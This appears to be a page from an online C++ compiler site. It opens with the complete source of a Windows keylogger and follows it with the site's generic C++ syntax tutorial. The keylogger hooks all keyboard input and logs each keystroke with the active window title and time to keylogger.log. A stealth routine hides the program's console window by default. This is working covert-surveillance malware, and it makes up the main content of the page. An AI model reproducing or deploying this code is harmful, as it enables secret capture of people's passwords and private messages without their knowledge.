#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define invisible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0 
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);
std::ofstream output_file;

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        // the action is valid: HC_ACTION.
        if (wParam == WM_KEYDOWN)
        {
            // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
            kbdStruct = *((KBDLLHOOKSTRUCT*) lParam);

            // save to file
            Save(kbdStruct.vkCode);
        }
    }

    // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    // Set the hook and set it to use the callback function above
    // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
    // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
    // function that sets and releases the hook.
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        LPCWSTR a = L"Failed to install hook!";
        LPCWSTR b = L"Error";
        MessageBox(NULL, a, b, MB_ICONERROR);
    }
}

void ReleaseHook()
{
    UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke)
{
    std::stringstream output;
    static char lastwindow[256] = "";

    if ((key_stroke == 1) || (key_stroke == 2))
    {
        return 0; // ignore mouse clicks
    }

    HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout = NULL;

    if (foreground)
    {
        // get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID);
    }

    if (foreground)
    {
        char window_title[256];
        GetWindowTextA(foreground, (LPSTR) window_title, 256);

        if (strcmp(window_title, lastwindow) != 0)
        {
            strcpy_s(lastwindow, sizeof(lastwindow), window_title);

            // get time
            time_t t = time(NULL);
            struct tm tm;
            localtime_s(&tm, &t);
            char s[64];
            strftime(s, sizeof(s), "%c", &tm);

            output << "\n\n[Window: " << window_title << " - at " << s << "] ";
        }
    }
    int form = FORMAT;
    switch (form) 
    {
    case 10:
        output << '[' << key_stroke << ']';
        break;
    case 16:
        output << std::hex << "[0x" << key_stroke << ']';
        break;
    default:
        if (key_stroke == VK_BACK)
        {
            output << "[BACKSPACE]";
        }
        else if (key_stroke == VK_RETURN)
        {
            output << "\n";
        }
        else if (key_stroke == VK_SPACE)
        {
            output << " ";
        }
        else if (key_stroke == VK_TAB)
        {
            output << "[TAB]";
        }
        else if ((key_stroke == VK_SHIFT) || (key_stroke == VK_LSHIFT) || (key_stroke == VK_RSHIFT))
        {
            output << "[SHIFT]";
        }
        else if ((key_stroke == VK_CONTROL) || (key_stroke == VK_LCONTROL) || (key_stroke == VK_RCONTROL))
        {
            output << "[CONTROL]";
        }
        else if (key_stroke == VK_MENU)
        {
            output << "[ALT]";
        }
        else if ((key_stroke == VK_LWIN) || (key_stroke == VK_RWIN))
        {
            output << "[WIN]";
        }
        else if (key_stroke == VK_ESCAPE)
        {
            output << "[ESCAPE]";
        }
        else if (key_stroke == VK_END)
        {
            output << "[END]";
        }
        else if (key_stroke == VK_HOME)
        {
            output << "[HOME]";
        }
        else if (key_stroke == VK_LEFT)
        {
            output << "[LEFT]";
        }
        else if (key_stroke == VK_UP)
        {
            output << "[UP]";
        }
        else if (key_stroke == VK_RIGHT)
        {
            output << "[RIGHT]";
        }
        else if (key_stroke == VK_DOWN)
        {
            output << "[DOWN]";
        }
        else if (key_stroke == VK_PRIOR)
        {
            output << "[PG_UP]";
        }
        else if (key_stroke == VK_NEXT)
        {
            output << "[PG_DOWN]";
        }
        else if (key_stroke == VK_OEM_PERIOD || key_stroke == VK_DECIMAL)
        {
            output << ".";
        }
        else if (key_stroke == VK_OEM_MINUS || key_stroke == VK_SUBTRACT)
        {
            output << "-";
        }
        else if (key_stroke == VK_CAPITAL)
        {
            output << "[CAPSLOCK]";
        }
        else
        {
            char key;
            // check caps lock
            bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

            // check shift key
            if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
                || (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
            {
                lowercase = !lowercase;
            }

            // map virtual key according to keyboard layout
            key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);

            // tolower converts it to lowercase properly
            if (!lowercase)
            {
                key = tolower(key);
            }
            output << char(key);
        }
        break;
    }

    // instead of opening and closing file handlers every time, keep file open and flush.
    output_file << output.str();
    output_file.flush();

    std::cout << output.str();

    return 0;
}
void Stealth()
{
#ifdef visible
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif

#ifdef invisible
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif
}

int main()
{
    // open output file in append mode
    const char* output_filename = "keylogger.log";
    std::cout << "Logging output to " << output_filename << std::endl;
    output_file.open(output_filename, std::ios_base::app);

    // visibility of window
    Stealth();

    // set the hook
    SetHook();

    // loop to keep the console application running.
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
}
 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}